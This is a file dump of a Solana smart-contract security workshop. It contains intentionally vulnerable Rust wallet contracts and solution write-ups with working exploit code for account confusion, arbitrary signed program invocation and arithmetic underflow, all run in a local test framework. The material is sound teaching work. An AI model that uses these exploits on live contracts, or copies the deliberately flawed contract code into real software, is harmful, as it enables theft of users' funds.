"type": "cargo", 87 | "command": "build-bpf", 88 | "args": [ 89 | "--workspace" 90 | ], 91 | "env": { 92 | "RUST_BACKTRACE": "1" 93 | }, 94 | "group": "build", 95 | } 96 | ] 97 | } -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | Welcome to the Solana Security Workshop! 4 | Here, we look at Solana smart contracts from an attacker's perspective. 5 | By learning how to find and exploit different types of issues, you'll be able to write more secure contracts as you'll know what to watch out for. 6 | 7 | In the first part of the course, we introduce general concepts relevant to the security of Solana contracts and explore one vulnerability in detail. 8 | Next, we've prepared several vulnerable smart contracts as challenges. 9 | Each of these illustrates a different Solana smart contract bug. 10 | You're encouraged to work on exploiting these on your own. If you get stuck, just reach out, are happy to help. 11 | 12 | Much of the code you see during this workshop is intentionally vulnerable. Even if the bugs are fixed, the code does not follow good design guidelines. Please do all of us a favor and not use it outside of security demonstrations. 13 | 14 | ## Requirements 15 | 16 | To follow along with this course, you need to be familiar with writing solana contracts and the [Rust](https://rust-lang.org/) programming language. 17 | 18 | You also need an environment where you can compile the example contracts and run the attacks. 19 | We have prepared prebuilt environments if you need them, for details, please refer to [Setup](setup.md). 20 | 21 | ## Who We Are 22 | 23 | We started as a group of independent researchers, who love digging into complex concepts and projects. At the end of 2020, we have been introduced into the Solana ecosystem by looking at Solana-core code, in which we have found a number of vulnerabilities. We have since founded the security-research firm [Neodyme](https://neodyme.io), which has been helping the Solana Foundation with peer-reviews of smart contracts. 24 | 25 | As such, we have found lots of interesting and critical bugs in smart contracts. 26 | To help make the ecosystem a more secure place, we want to share some insights in this workshop. We hope you enjoy breaking our prepared contracts as much as we do. 27 | -------------------------------------------------------------------------------- /docs/poc_framework.md: -------------------------------------------------------------------------------- 1 | # PoC Framework 2 | 3 | The so called `poc-framework` is a tool we developed to help us quickly testing bugs in smart-contracts. 4 | Especially for more complicated bugs, it is often easier to verify an idea practically rather than statically by just reading code. 5 | 6 | This is usually a multistep process. First, you obviously do not want to test on the live Solana chain. 7 | That means you have to replicate the setup locally somehow. If you have ever tried to write integration tests for smart contracts before, you know that it is a bit tedious to get the correct setup. 8 | 9 | Normally, smart contracts work the following way: you have a Rust cli or some web3js that generates instructions and sends them via RPC to a validator. On the validator, the contract is already initialized, and your instructions can be executed by the network, returning you the result. 10 | 11 | For testing, it is often times not necessary to have a full network. Just the solana smart contract runtime is enough to see most behaviour. 12 | 13 | This is where the `poc-framework` comes in. It is a collection of helper methods to interact with the core solana code in a way that is similar to what would happen when a contract is used on the normal network. 14 | 15 | An exploit utilizing the framework consists of three parts: setup code (marked with the comment: "SETUP CODE BELOW"), the actual exploit (the `fn hack()` function you will write) and a check if the exploit succeeded (the `fn verify()` function). We have already provided the first and the last one in the poc files for you, just the exploit is missing. 16 | 17 | To see how the Framework can help you, its best to check out the functions provided by the `Environment`: [poc_framework::Environment docs](https://docs.rs/poc-framework/0.1.2/poc_framework/trait.Environment.html). 18 | 19 | ## Exploit outline 20 | 21 | The hacker is given 1 sol for paying fees on transactions. The goal is to give the hacker more money than they started with. It is not necessarily possible to steal all the money. 22 | The `verify` function will check this for you automatically, so you will know when you have succeeded. -------------------------------------------------------------------------------- /level4/vendored-spl-token-3.1.0/src/error.rs: -------------------------------------------------------------------------------- 1 | //! Error types 2 | 3 | use num_derive::FromPrimitive; 4 | use solana_program::{decode_error::DecodeError, program_error::ProgramError}; 5 | use thiserror::Error; 6 | 7 | /// Errors that may be returned by the Token program. 8 | #[derive(Clone, Debug, Eq, Error, FromPrimitive, PartialEq)] 9 | pub enum TokenError { 10 | /// Lamport balance below rent-exempt threshold. 11 | #[error("Lamport balance below rent-exempt threshold")] 12 | NotRentExempt, 13 | /// Insufficient funds for the operation requested. 14 | #[error("Insufficient funds")] 15 | InsufficientFunds, 16 | /// Invalid Mint. 17 | #[error("Invalid Mint")] 18 | InvalidMint, 19 | /// Account not associated with this Mint. 20 | #[error("Account not associated with this Mint")] 21 | MintMismatch, 22 | /// Owner does not match. 23 | #[error("Owner does not match")] 24 | OwnerMismatch, 25 | /// This token's supply is fixed and new tokens cannot be minted. 26 | #[error("Fixed supply")] 27 | FixedSupply, 28 | /// The account cannot be initialized because it is already being used. 29 | #[error("Already in use")] 30 | AlreadyInUse, 31 | /// Invalid number of provided signers. 32 | #[error("Invalid number of provided signers")] 33 | InvalidNumberOfProvidedSigners, 34 | /// Invalid number of required signers. 35 | #[error("Invalid number of required signers")] 36 | InvalidNumberOfRequiredSigners, 37 | /// State is uninitialized. 38 | #[error("State is unititialized")] 39 | UninitializedState, 40 | /// Instruction does not support native tokens 41 | #[error("Instruction does not support native tokens")] 42 | NativeNotSupported, 43 | /// Non-native account can only be closed if its balance is zero 44 | #[error("Non-native account can only be closed if its balance is zero")] 45 | NonNativeHasBalance, 46 | /// Invalid instruction 47 | #[error("Invalid instruction")] 48 | InvalidInstruction, 49 | /// State is invalid for requested operation. 50 | #[error("State is invalid for requested operation")] 51 | InvalidState, 52 | /// Operation overflowed 53 | #[error("Operation overflowed")] 54 | Overflow, 55 | /// Account does not support specified authority type. 56 | #[error("Account does not support specified authority type")] 57 | AuthorityTypeNotSupported, 58 | /// This token mint cannot freeze accounts. 59 | #[error("This token mint cannot freeze accounts")] 60 | MintCannotFreeze, 61 | /// Account is frozen; all account operations will fail 62 | #[error("Account is frozen")] 63 | AccountFrozen, 64 | /// Mint decimals mismatch between the client and mint 65 | #[error("The provided decimals value different from the Mint decimals")] 66 | MintDecimalsMismatch, 67 | } 68 | impl From for ProgramError { 69 | fn from(e: TokenError) -> Self { 70 | ProgramError::Custom(e as u32) 71 | } 72 | } 73 | impl DecodeError for TokenError { 74 | fn type_of() -> &'static str { 75 | "TokenError" 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /docs/level4-solution.md: -------------------------------------------------------------------------------- 1 | # Solution - Arbitrary Signed Program Invocation 2 | 3 | ```rust 4 | use solana_program::instruction::{AccountMeta, Instruction}; 5 | use borsh::BorshSerialize; 6 | 7 | fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { 8 | assert_tx_success(env.execute_as_transaction( 9 | &[level4::initialize( 10 | challenge.wallet_program, 11 | challenge.hacker.pubkey(), 12 | challenge.mint, 13 | )], 14 | &[&challenge.hacker], 15 | )); 16 | 17 | let hacker_wallet_address = level4::get_wallet_address( 18 | &challenge.hacker.pubkey(), 19 | &challenge.wallet_program, 20 | ) 21 | .0; 22 | let authority_address = level4::get_authority(&challenge.wallet_program).0; 23 | let fake_token_program = 24 | env.deploy_program("target/deploy/level4_poc_contract.so"); 25 | 26 | env.execute_as_transaction( 27 | &[Instruction { 28 | program_id: challenge.wallet_program, 29 | accounts: vec![ 30 | AccountMeta::new(hacker_wallet_address, false), // usually: wallet_address 31 | AccountMeta::new_readonly(authority_address, false), // usually: authority_address 32 | AccountMeta::new_readonly(challenge.hacker.pubkey(), true), // usually: owner_address 33 | AccountMeta::new(challenge.wallet_address, false), // usually: destination 34 | AccountMeta::new_readonly(spl_token::ID, false), // usually: expected mint 35 | AccountMeta::new_readonly(fake_token_program, false), // usually: spl_token program address 36 | ], 37 | data: level4::WalletInstruction::Withdraw { amount: 1337 } 38 | .try_to_vec() 39 | .unwrap(), 40 | }], 41 | &[&challenge.hacker], 42 | ) 43 | .print_named("hax"); 44 | } 45 | ``` 46 | 47 | ## Extra Helper Contract 48 | 49 | ```rust 50 | use solana_program::{ 51 | account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, program::invoke, 52 | pubkey::Pubkey, 53 | }; 54 | 55 | entrypoint!(process_instruction); 56 | 57 | pub fn process_instruction( 58 | _program_id: &Pubkey, 59 | accounts: &[AccountInfo], 60 | instruction_data: &[u8], 61 | ) -> ProgramResult { 62 | match spl_token::instruction::TokenInstruction::unpack(instruction_data).unwrap() { 63 | spl_token::instruction::TokenInstruction::TransferChecked { amount, .. } => { 64 | let source = &accounts[0]; 65 | let mint = &accounts[1]; 66 | let destination = &accounts[2]; 67 | let authority = &accounts[3]; 68 | invoke( 69 | &spl_token::instruction::transfer( 70 | mint.key, 71 | destination.key, 72 | source.key, 73 | authority.key, 74 | &[], 75 | amount, 76 | ) 77 | .unwrap(), 78 | &[ 79 | source.clone(), 80 | mint.clone(), 81 | destination.clone(), 82 | authority.clone(), 83 | ], 84 | ) 85 | } 86 | _ => { 87 | panic!("wrong ix") 88 | } 89 | } 90 | } 91 | ``` -------------------------------------------------------------------------------- /docs/level3-solution.md: -------------------------------------------------------------------------------- 1 | # Solution - Account Confusion 2 | 3 | The vulnerability in this contract is called *account confusion*. Outside of solana smart contracts this type of vulnerability is called *type confusion*. It happens whenever data is misinterpreted. Programs often have to rely on a certain data structure, and it sometimes doesn’t verify the type of object it receives. Instead, it uses it blindly without type-checking. Users also often can not control the data directly for a certain type, but for another one they can. A type confusion bug can mean that a program expects that the data cannot be user controlled, but it fails to check the type, therefore a malicious attacker trick the program to use the controlled data instead. For example, in this instance an attacker can initialize a second vault and use the withdraw instruction with the vault account as a pool account. 4 | 5 | In this case, we confuse a `TipPool` with a `Vault`. The fields will overlap nicely resulting in e.g. the `TipPool.value` overlapping with the `Vault.fee`. 6 | 7 | ```rust 8 | pub struct TipPool { 9 | pub withdraw_authority: Pubkey, // at the same position as Vault::creator 10 | pub value: u64, // at the same position as Vault::fee 11 | pub vault: Pubkey, // at the same position as Vault::fee_recipient 12 | } 13 | 14 | pub struct Vault { 15 | pub creator: Pubkey, 16 | pub fee: f64, 17 | pub fee_recipient: Pubkey, 18 | pub seed: u8, 19 | } 20 | ``` 21 | 22 | Another thing that may be tricky to wrap your head around is that the program can be initialized twice, PDAs can be derived by a different seed result in different addresses, while in this case this is totally intended, there can be some cases, where not knowing this can lead to serious vulnerabilities. 23 | 24 | Here is the example exploit code that Felipe, one of our colleagues, wrote: 25 | 26 | ```rust 27 | fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { 28 | let seed: u8 = 1; 29 | let hacker_vault_address = 30 | Pubkey::create_program_address(&[&[seed]], &challenge.tip_program).unwrap(); 31 | 32 | env.execute_as_transaction( 33 | &[level3::initialize( 34 | challenge.tip_program, 35 | hacker_vault_address, // new vault's address 36 | challenge.hacker.pubkey(), // initializer_address. Aliases with TipPool::withdraw_authority 37 | seed, // seed != original seed, so we can create an account 38 | 2.0, // some fee. Aliases with TipPool::amount (note u64 != f64. Any value >1.0 is a huge u64) 39 | challenge.vault_address, // fee_recipient. Aliases with TipPool::vault 40 | )], 41 | &[&challenge.hacker], 42 | ) 43 | .print(); 44 | 45 | let amount = env.get_account(challenge.vault_address).unwrap().lamports; 46 | 47 | env.execute_as_transaction( 48 | &[level3::withdraw( 49 | challenge.tip_program, 50 | challenge.vault_address, 51 | hacker_vault_address, 52 | challenge.hacker.pubkey(), 53 | amount, 54 | )], 55 | &[&challenge.hacker], 56 | ) 57 | .print(); 58 | } 59 | ``` 60 | 61 | # Mitigation 62 | 63 | By adding a type attribute to all accounts, this vulnerability can be prevented (details [here](https://blog.neodyme.io/posts/solana_common_pitfalls#solana-account-confusions)). -------------------------------------------------------------------------------- /level1/src/lib.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{ 3 | entrypoint, 4 | instruction::{AccountMeta, Instruction}, 5 | pubkey::Pubkey, 6 | system_program, sysvar, 7 | }; 8 | 9 | #[derive(Debug, BorshDeserialize, BorshSerialize)] 10 | 11 | pub enum WalletInstruction { 12 | /// Initialize a Personal Savings Wallet 13 | /// 14 | /// Passed accounts: 15 | /// 16 | /// (1) Wallet account 17 | /// (2) authority 18 | /// (3) Rent sysvar 19 | /// (4) System program 20 | Initialize, 21 | /// Deposit 22 | /// 23 | /// Passed accounts: 24 | /// 25 | /// (1) Wallet account 26 | /// (2) Money Source 27 | Deposit { amount: u64 }, 28 | /// Withdraw from Wallet 29 | /// 30 | /// Passed accounts: 31 | /// 32 | /// (1) Wallet account 33 | /// (2) authority 34 | /// (3) Target Wallet account 35 | Withdraw { amount: u64 }, 36 | } 37 | 38 | #[repr(C)] 39 | #[derive(Clone, Copy, Debug, Default, PartialEq, BorshSerialize, BorshDeserialize)] 40 | pub struct Wallet { 41 | pub authority: Pubkey, 42 | } 43 | 44 | pub const WALLET_LEN: u64 = 32; 45 | 46 | pub mod processor; 47 | use processor::process_instruction; 48 | entrypoint!(process_instruction); 49 | 50 | pub fn get_wallet_address(authority: Pubkey, wallet_program: Pubkey) -> Pubkey { 51 | let (wallet_address, _) = 52 | Pubkey::find_program_address(&[&authority.to_bytes()], &wallet_program); 53 | wallet_address 54 | } 55 | 56 | pub fn initialize(wallet_program: Pubkey, authority_address: Pubkey) -> Instruction { 57 | let wallet_address = get_wallet_address(authority_address, wallet_program); 58 | Instruction { 59 | program_id: wallet_program, 60 | accounts: vec![ 61 | AccountMeta::new(wallet_address, false), 62 | AccountMeta::new(authority_address, true), 63 | AccountMeta::new_readonly(sysvar::rent::id(), false), 64 | AccountMeta::new_readonly(system_program::id(), false), 65 | ], 66 | data: WalletInstruction::Initialize.try_to_vec().unwrap(), 67 | } 68 | } 69 | 70 | pub fn deposit( 71 | wallet_program: Pubkey, 72 | authority_address: Pubkey, 73 | source: Pubkey, 74 | amount: u64, 75 | ) -> Instruction { 76 | let wallet_address = get_wallet_address(authority_address, wallet_program); 77 | Instruction { 78 | program_id: wallet_program, 79 | accounts: vec![ 80 | AccountMeta::new(wallet_address, false), 81 | AccountMeta::new(source, true), 82 | AccountMeta::new_readonly(system_program::id(), false), 83 | ], 84 | data: WalletInstruction::Deposit { amount }.try_to_vec().unwrap(), 85 | } 86 | } 87 | 88 | pub fn withdraw( 89 | wallet_program: Pubkey, 90 | authority_address: Pubkey, 91 | destination: Pubkey, 92 | amount: u64, 93 | ) -> Instruction { 94 | let wallet_address = get_wallet_address(authority_address, wallet_program); 95 | Instruction { 96 | program_id: wallet_program, 97 | accounts: vec![ 98 | AccountMeta::new(wallet_address, false), 99 | AccountMeta::new(authority_address, true), 100 | AccountMeta::new(destination, false), 101 | AccountMeta::new_readonly(system_program::id(), false), 102 | ], 103 | data: WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(), 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /level2/src/lib.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{ 3 | entrypoint, 4 | instruction::{AccountMeta, Instruction}, 5 | pubkey::Pubkey, 6 | system_program, sysvar, 7 | }; 8 | 9 | #[derive(Debug, BorshDeserialize, BorshSerialize)] 10 | 11 | pub enum WalletInstruction { 12 | /// Initialize a Personal Savings Wallet 13 | /// 14 | /// Passed accounts: 15 | /// 16 | /// (1) Wallet account 17 | /// (2) authority 18 | /// (3) Rent sysvar 19 | /// (4) System program 20 | Initialize, 21 | /// Deposit 22 | /// 23 | /// Passed accounts: 24 | /// 25 | /// (1) Wallet account 26 | /// (2) Money Source 27 | /// (3) System program 28 | Deposit { amount: u64 }, 29 | /// Withdraw from Wallet 30 | /// 31 | /// Passed accounts: 32 | /// 33 | /// (1) Wallet account 34 | /// (2) authority 35 | /// (3) Target Wallet account 36 | /// (4) Rent sysvar 37 | /// (5) System program 38 | Withdraw { amount: u64 }, 39 | } 40 | 41 | #[repr(C)] 42 | #[derive(Clone, Copy, Debug, Default, PartialEq, BorshSerialize, BorshDeserialize)] 43 | pub struct Wallet { 44 | pub authority: Pubkey, 45 | } 46 | 47 | pub const WALLET_LEN: u64 = 32; 48 | 49 | pub mod processor; 50 | use processor::process_instruction; 51 | entrypoint!(process_instruction); 52 | 53 | pub fn get_wallet_address(authority: Pubkey, wallet_program: Pubkey) -> Pubkey { 54 | let (wallet_address, _) = 55 | Pubkey::find_program_address(&[&authority.to_bytes()], &wallet_program); 56 | wallet_address 57 | } 58 | 59 | pub fn initialize(wallet_program: Pubkey, authority_address: Pubkey) -> Instruction { 60 | let wallet_address = get_wallet_address(authority_address, wallet_program); 61 | Instruction { 62 | program_id: wallet_program, 63 | accounts: vec![ 64 | AccountMeta::new(wallet_address, false), 65 | AccountMeta::new(authority_address, true), 66 | AccountMeta::new_readonly(sysvar::rent::id(), false), 67 | AccountMeta::new_readonly(system_program::id(), false), 68 | ], 69 | data: WalletInstruction::Initialize.try_to_vec().unwrap(), 70 | } 71 | } 72 | 73 | pub fn deposit( 74 | wallet_program: Pubkey, 75 | authority_address: Pubkey, 76 | source: Pubkey, 77 | amount: u64, 78 | ) -> Instruction { 79 | let wallet_address = get_wallet_address(authority_address, wallet_program); 80 | Instruction { 81 | program_id: wallet_program, 82 | accounts: vec![ 83 | AccountMeta::new(wallet_address, false), 84 | AccountMeta::new(source, true), 85 | AccountMeta::new_readonly(system_program::id(), false), 86 | ], 87 | data: WalletInstruction::Deposit { amount }.try_to_vec().unwrap(), 88 | } 89 | } 90 | 91 | pub fn withdraw( 92 | wallet_program: Pubkey, 93 | authority_address: Pubkey, 94 | destination: Pubkey, 95 | amount: u64, 96 | ) -> Instruction { 97 | let wallet_address = get_wallet_address(authority_address, wallet_program); 98 | Instruction { 99 | program_id: wallet_program, 100 | accounts: vec![ 101 | AccountMeta::new(wallet_address, false), 102 | AccountMeta::new(authority_address, true), 103 | AccountMeta::new(destination, false), 104 | AccountMeta::new_readonly(sysvar::rent::id(), false), 105 | AccountMeta::new_readonly(system_program::id(), false), 106 | ], 107 | data: WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(), 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /level1/src/processor.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{ 3 | account_info::{next_account_info, AccountInfo}, 4 | entrypoint::ProgramResult, 5 | msg, 6 | program::{invoke, invoke_signed}, 7 | program_error::ProgramError, 8 | pubkey::Pubkey, 9 | rent::Rent, 10 | system_instruction, 11 | sysvar::Sysvar, 12 | }; 13 | 14 | use crate::{Wallet, WalletInstruction, WALLET_LEN}; 15 | 16 | pub fn process_instruction( 17 | program_id: &Pubkey, 18 | accounts: &[AccountInfo], 19 | mut instruction_data: &[u8], 20 | ) -> ProgramResult { 21 | match WalletInstruction::deserialize(&mut instruction_data)? { 22 | WalletInstruction::Initialize => initialize(program_id, accounts), 23 | WalletInstruction::Deposit { amount } => deposit(program_id, accounts, amount), 24 | WalletInstruction::Withdraw { amount } => withdraw(program_id, accounts, amount), 25 | } 26 | } 27 | 28 | fn initialize(program_id: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult { 29 | msg!("init"); 30 | let account_info_iter = &mut accounts.iter(); 31 | let wallet_info = next_account_info(account_info_iter)?; 32 | let authority = next_account_info(account_info_iter)?; 33 | let rent_info = next_account_info(account_info_iter)?; 34 | let (wallet_address, wallet_seed) = 35 | Pubkey::find_program_address(&[&authority.key.to_bytes()], program_id); 36 | let rent = Rent::from_account_info(rent_info)?; 37 | 38 | assert_eq!(*wallet_info.key, wallet_address); 39 | assert!(wallet_info.data_is_empty()); 40 | assert!(authority.is_signer, "authority must sign!"); 41 | 42 | invoke_signed( 43 | &system_instruction::create_account( 44 | &authority.key, 45 | &wallet_address, 46 | rent.minimum_balance(WALLET_LEN as usize), 47 | WALLET_LEN, 48 | &program_id, 49 | ), 50 | &[authority.clone(), wallet_info.clone()], 51 | &[&[&authority.key.to_bytes(), &[wallet_seed]]], 52 | )?; 53 | 54 | let wallet = Wallet { 55 | authority: *authority.key, 56 | }; 57 | 58 | wallet 59 | .serialize(&mut &mut (*wallet_info.data).borrow_mut()[..]) 60 | .unwrap(); 61 | 62 | Ok(()) 63 | } 64 | 65 | fn deposit(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 66 | msg!("deposit {}", amount); 67 | let account_info_iter = &mut accounts.iter(); 68 | let wallet_info = next_account_info(account_info_iter)?; 69 | let source_info = next_account_info(account_info_iter)?; 70 | 71 | assert_eq!(wallet_info.owner, program_id); 72 | 73 | invoke( 74 | &system_instruction::transfer(&source_info.key, &wallet_info.key, amount), 75 | &[wallet_info.clone(), source_info.clone()], 76 | )?; 77 | 78 | Ok(()) 79 | } 80 | 81 | fn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 82 | msg!("withdraw {}", amount); 83 | let account_info_iter = &mut accounts.iter(); 84 | let wallet_info = next_account_info(account_info_iter)?; 85 | let authority_info = next_account_info(account_info_iter)?; 86 | let destination_info = next_account_info(account_info_iter)?; 87 | let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?; 88 | 89 | assert_eq!(wallet_info.owner, program_id); 90 | assert_eq!(wallet.authority, *authority_info.key); 91 | 92 | if amount > **wallet_info.lamports.borrow_mut() { 93 | return Err(ProgramError::InsufficientFunds); 94 | } 95 | 96 | **wallet_info.lamports.borrow_mut() -= amount; 97 | **destination_info.lamports.borrow_mut() += amount; 98 | 99 | wallet 100 | .serialize(&mut &mut (*wallet_info.data).borrow_mut()[..]) 101 | .unwrap(); 102 | 103 | Ok(()) 104 | } 105 | -------------------------------------------------------------------------------- /level2/src/processor.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{ 3 | account_info::{next_account_info, AccountInfo}, 4 | entrypoint::ProgramResult, 5 | msg, 6 | program::{invoke, invoke_signed}, 7 | program_error::ProgramError, 8 | pubkey::Pubkey, 9 | rent::Rent, 10 | system_instruction, 11 | sysvar::Sysvar, 12 | }; 13 | 14 | use crate::{Wallet, WalletInstruction, WALLET_LEN}; 15 | 16 | pub fn process_instruction( 17 | program_id: &Pubkey, 18 | accounts: &[AccountInfo], 19 | mut instruction_data: &[u8], 20 | ) -> ProgramResult { 21 | match WalletInstruction::deserialize(&mut instruction_data)? { 22 | WalletInstruction::Initialize => initialize(program_id, accounts), 23 | WalletInstruction::Deposit { amount } => deposit(program_id, accounts, amount), 24 | WalletInstruction::Withdraw { amount } => withdraw(program_id, accounts, amount), 25 | } 26 | } 27 | 28 | fn initialize(program_id: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult { 29 | msg!("init"); 30 | let account_info_iter = &mut accounts.iter(); 31 | let wallet_info = next_account_info(account_info_iter)?; 32 | let authority = next_account_info(account_info_iter)?; 33 | let rent_info = next_account_info(account_info_iter)?; 34 | let (wallet_address, wallet_seed) = 35 | Pubkey::find_program_address(&[&authority.key.to_bytes()], program_id); 36 | let rent = Rent::from_account_info(rent_info)?; 37 | 38 | assert_eq!(*wallet_info.key, wallet_address); 39 | assert!(wallet_info.data_is_empty()); 40 | assert!(authority.is_signer, "authority must sign!"); 41 | 42 | invoke_signed( 43 | &system_instruction::create_account( 44 | &authority.key, 45 | &wallet_address, 46 | rent.minimum_balance(WALLET_LEN as usize), 47 | WALLET_LEN, 48 | &program_id, 49 | ), 50 | &[authority.clone(), wallet_info.clone()], 51 | &[&[&authority.key.to_bytes(), &[wallet_seed]]], 52 | )?; 53 | 54 | let wallet = Wallet { 55 | authority: *authority.key, 56 | }; 57 | 58 | wallet 59 | .serialize(&mut &mut (*wallet_info.data).borrow_mut()[..]) 60 | .unwrap(); 61 | 62 | Ok(()) 63 | } 64 | 65 | fn deposit(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 66 | msg!("deposit {}", amount); 67 | let account_info_iter = &mut accounts.iter(); 68 | let wallet_info = next_account_info(account_info_iter)?; 69 | let source_info = next_account_info(account_info_iter)?; 70 | 71 | assert_eq!(wallet_info.owner, program_id); 72 | 73 | invoke( 74 | &system_instruction::transfer(&source_info.key, &wallet_info.key, amount), 75 | &[wallet_info.clone(), source_info.clone()], 76 | )?; 77 | 78 | Ok(()) 79 | } 80 | 81 | fn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 82 | msg!("withdraw {}", amount); 83 | let account_info_iter = &mut accounts.iter(); 84 | let wallet_info = next_account_info(account_info_iter)?; 85 | let authority_info = next_account_info(account_info_iter)?; 86 | let destination_info = next_account_info(account_info_iter)?; 87 | let rent_info = next_account_info(account_info_iter)?; 88 | 89 | let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?; 90 | let rent = Rent::from_account_info(rent_info)?; 91 | 92 | assert_eq!(wallet_info.owner, program_id); 93 | assert_eq!(wallet.authority, *authority_info.key); 94 | assert!(authority_info.is_signer, "authority must sign!"); 95 | 96 | let min_balance = rent.minimum_balance(WALLET_LEN as usize); 97 | if min_balance + amount > **wallet_info.lamports.borrow_mut() { 98 | return Err(ProgramError::InsufficientFunds); 99 | } 100 | 101 | **wallet_info.lamports.borrow_mut() -= amount; 102 | **destination_info.lamports.borrow_mut() += amount; 103 | 104 | wallet 105 | .serialize(&mut &mut (*wallet_info.data).borrow_mut()[..]) 106 | .unwrap(); 107 | 108 | Ok(()) 109 | } 110 | -------------------------------------------------------------------------------- /level0/src/lib.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshDeserialize, BorshSerialize}; 2 | use solana_program::{ 3 | entrypoint, 4 | instruction::{AccountMeta, Instruction}, 5 | pubkey::Pubkey, 6 | system_program, sysvar, 7 | }; 8 | 9 | #[derive(Debug, BorshDeserialize, BorshSerialize)] 10 | 11 | pub enum WalletInstruction { 12 | /// Initialize a Personal Savings Wallet 13 | /// 14 | /// Passed accounts: 15 | /// 16 | /// (1) Wallet account 17 | /// (2) Vault accounts 18 | /// (3) Authority 19 | /// (4) Rent sysvar 20 | /// (5) System program 21 | Initialize, 22 | /// Deposit 23 | /// 24 | /// Passed accounts: 25 | /// 26 | /// (1) Wallet account 27 | /// (2) Vault accounts 28 | /// (3) Money Source 29 | Deposit { amount: u64 }, 30 | /// Withdraw from Wallet 31 | /// 32 | /// Passed accounts: 33 | /// 34 | /// (1) Wallet account 35 | /// (2) Vault accounts 36 | /// (3) Authority 37 | /// (4) Target Wallet account 38 | Withdraw { amount: u64 }, 39 | } 40 | 41 | #[repr(C)] 42 | #[derive(Clone, Copy, Debug, Default, PartialEq, BorshSerialize, BorshDeserialize)] 43 | pub struct Wallet { 44 | pub authority: Pubkey, 45 | pub vault: Pubkey, 46 | } 47 | 48 | pub const WALLET_LEN: u64 = 32 + 32; 49 | 50 | pub mod processor; 51 | use processor::process_instruction; 52 | entrypoint!(process_instruction); 53 | 54 | pub fn get_wallet_address(authority: Pubkey, wallet_program: Pubkey) -> Pubkey { 55 | let (wallet_address, _) = 56 | Pubkey::find_program_address(&[&authority.to_bytes()], &wallet_program); 57 | wallet_address 58 | } 59 | 60 | pub fn get_vault_address(authority: Pubkey, wallet_program: Pubkey) -> Pubkey { 61 | let (vault_address, _) = Pubkey::find_program_address( 62 | &[&authority.to_bytes(), &"VAULT".as_bytes()], 63 | &wallet_program, 64 | ); 65 | vault_address 66 | } 67 | 68 | pub fn initialize(wallet_program: Pubkey, authority_address: Pubkey) -> Instruction { 69 | let wallet_address = get_wallet_address(authority_address, wallet_program); 70 | let vault_address = get_vault_address(authority_address, wallet_program); 71 | Instruction { 72 | program_id: wallet_program, 73 | accounts: vec![ 74 | AccountMeta::new(wallet_address, false), 75 | AccountMeta::new(vault_address, false), 76 | AccountMeta::new(authority_address, true), 77 | AccountMeta::new_readonly(sysvar::rent::id(), false), 78 | AccountMeta::new_readonly(system_program::id(), false), 79 | ], 80 | data: WalletInstruction::Initialize.try_to_vec().unwrap(), 81 | } 82 | } 83 | 84 | pub fn deposit( 85 | wallet_program: Pubkey, 86 | authority_address: Pubkey, 87 | source: Pubkey, 88 | amount: u64, 89 | ) -> Instruction { 90 | let wallet_address = get_wallet_address(authority_address, wallet_program); 91 | let vault_address = get_vault_address(authority_address, wallet_program); 92 | Instruction { 93 | program_id: wallet_program, 94 | accounts: vec![ 95 | AccountMeta::new(wallet_address, false), 96 | AccountMeta::new(vault_address, false), 97 | AccountMeta::new(source, true), 98 | AccountMeta::new_readonly(system_program::id(), false), 99 | ], 100 | data: WalletInstruction::Deposit { amount }.try_to_vec().unwrap(), 101 | } 102 | } 103 | 104 | pub fn withdraw( 105 | wallet_program: Pubkey, 106 | authority_address: Pubkey, 107 | destination: Pubkey, 108 | amount: u64, 109 | ) -> Instruction { 110 | let wallet_address = get_wallet_address(authority_address, wallet_program); 111 | let vault_address = get_vault_address(authority_address, wallet_program); 112 | Instruction { 113 | program_id: wallet_program, 114 | accounts: vec![ 115 | AccountMeta::new(wallet_address, false), 116 | AccountMeta::new(vault_address, false), 117 | AccountMeta::new(authority_address, true), 118 | AccountMeta::new(destination, false), 119 | AccountMeta::new_readonly(system_program::id(), false), 120 | ], 121 | data: WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(), 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /docs/level2-solution.md: -------------------------------------------------------------------------------- 1 | # Solution - Overflow/Underflow 2 | 3 | The vulnerability in this contract is an overflow/underflow in the deposit function: 4 | 5 | ```rs 6 | **wallet_info.lamports.borrow_mut() -= amount; 7 | **destination_info.lamports.borrow_mut() += amount; 8 | ``` 9 | 10 | Remember that lamports are fractions of SOL. For a large `amount` the `u64` lamports overflow/underflow. If an attacker sets `wallet_info` to the hacker's wallet and `destination_info` to the rich-boi-wallet, they can underflow the `wallet_info` and therefore increase his lamports. Alternatively, they can overflow the `destination_info` and therefore decrease the destination lamports. 11 | See [here](https://play.rust-lang.org/?version=stable&mode=release&edition=2021&gist=c446a40de01a3af7957817ebe199237a). 12 | 13 | There is one more trick to it, as there is a rent check: 14 | ```rs 15 | let min_balance = rent.minimum_balance(WALLET_LEN as usize); 16 | if min_balance + amount > **wallet_info.lamports.borrow_mut() { 17 | return Err(ProgramError::InsufficientFunds); 18 | } 19 